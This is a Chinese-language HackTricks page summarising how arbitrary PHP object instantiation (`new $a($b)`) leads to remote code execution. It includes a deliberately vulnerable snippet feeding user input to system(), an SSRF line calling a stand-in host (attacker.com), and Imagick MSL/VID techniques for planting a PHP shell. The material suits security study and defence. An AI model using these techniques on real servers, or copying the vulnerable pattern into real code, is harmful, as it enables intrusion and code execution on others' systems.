PHP - RCE 滥用对象创建: new $_GET["a"]($_GET["b"])
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
这基本上是对 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 的总结
介绍
创建新的任意对象,例如 new $_GET["a"]($_GET["a"])
,可能导致远程代码执行 (RCE),如 写作 中详细说明的那样。本文档强调了实现 RCE 的各种策略。
通过自定义类或自动加载实现 RCE
语法 new $a($b)
用于实例化一个对象,其中 $a
代表类名,$b
是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,可能是字符串或数组,或来自 JSON,可能呈现为其他类型。
考虑下面的代码片段:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
在这种情况下,将 $a
设置为 App
或 App2
,将 $b
设置为系统命令(例如,uname -a
)会导致该命令的执行。
自动加载函数 可以被利用,如果没有这样的类可以直接访问。这些函数在需要时会自动从文件加载类,并使用 spl_autoload_register
或 __autoload
定义:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
autoloading 的行为因 PHP 版本而异,提供不同的 RCE 可能性。
通过内置类进行 RCE
在缺乏自定义类或自动加载器的情况下,内置 PHP 类可能足以实现 RCE。这些类的数量根据 PHP 版本和扩展的不同而在 100 到 200 之间。可以使用 get_declared_classes()
列出它们。
可以通过反射 API 识别感兴趣的构造函数,如以下示例所示,以及链接 https://3v4l.org/2JEGF。
通过特定方法进行 RCE 包括:
SSRF + Phar 反序列化
SplFileObject
类通过其构造函数启用 SSRF,允许连接到任何 URL:
new SplFileObject('http://attacker.com/');
SSRF 可以导致在 8.0 之前的 PHP 版本中使用 Phar 协议的反序列化攻击。
利用 PDOs
PDO 类构造函数允许通过 DSN 字符串连接到数据库,可能会启用文件创建或其他交互:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
PHP 版本高达 5.3.22 和 5.4.12 易受通过 SoapClient
和 SimpleXMLElement
构造函数的 XXE 攻击,具体取决于 libxml2 的版本。
RCE via Imagick Extension
在对 项目依赖 的分析中,发现 Imagick 可以通过实例化新对象来实现 命令执行。这为利用漏洞提供了机会。
VID 解析器
识别到 VID 解析器能够将内容写入文件系统中的任何指定路径。这可能导致在可通过网络访问的目录中放置 PHP shell,从而实现远程代码执行 (RCE)。
VID 解析器 + 文件上传
注意到 PHP 会将上传的文件临时存储在 /tmp/phpXXXXXX
中。Imagick 中的 VID 解析器利用 msl 协议,可以处理文件路径中的通配符,便于将临时文件转移到选定位置。这种方法提供了在文件系统中实现任意文件写入的额外途径。
PHP 崩溃 + 暴力破解
在 原始写作 中描述的方法涉及上传触发服务器崩溃的文件,然后再删除。通过暴力破解临时文件的名称,Imagick 可以执行任意 PHP 代码。然而,发现这种技术仅在过时的 ImageMagick 版本中有效。
References
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。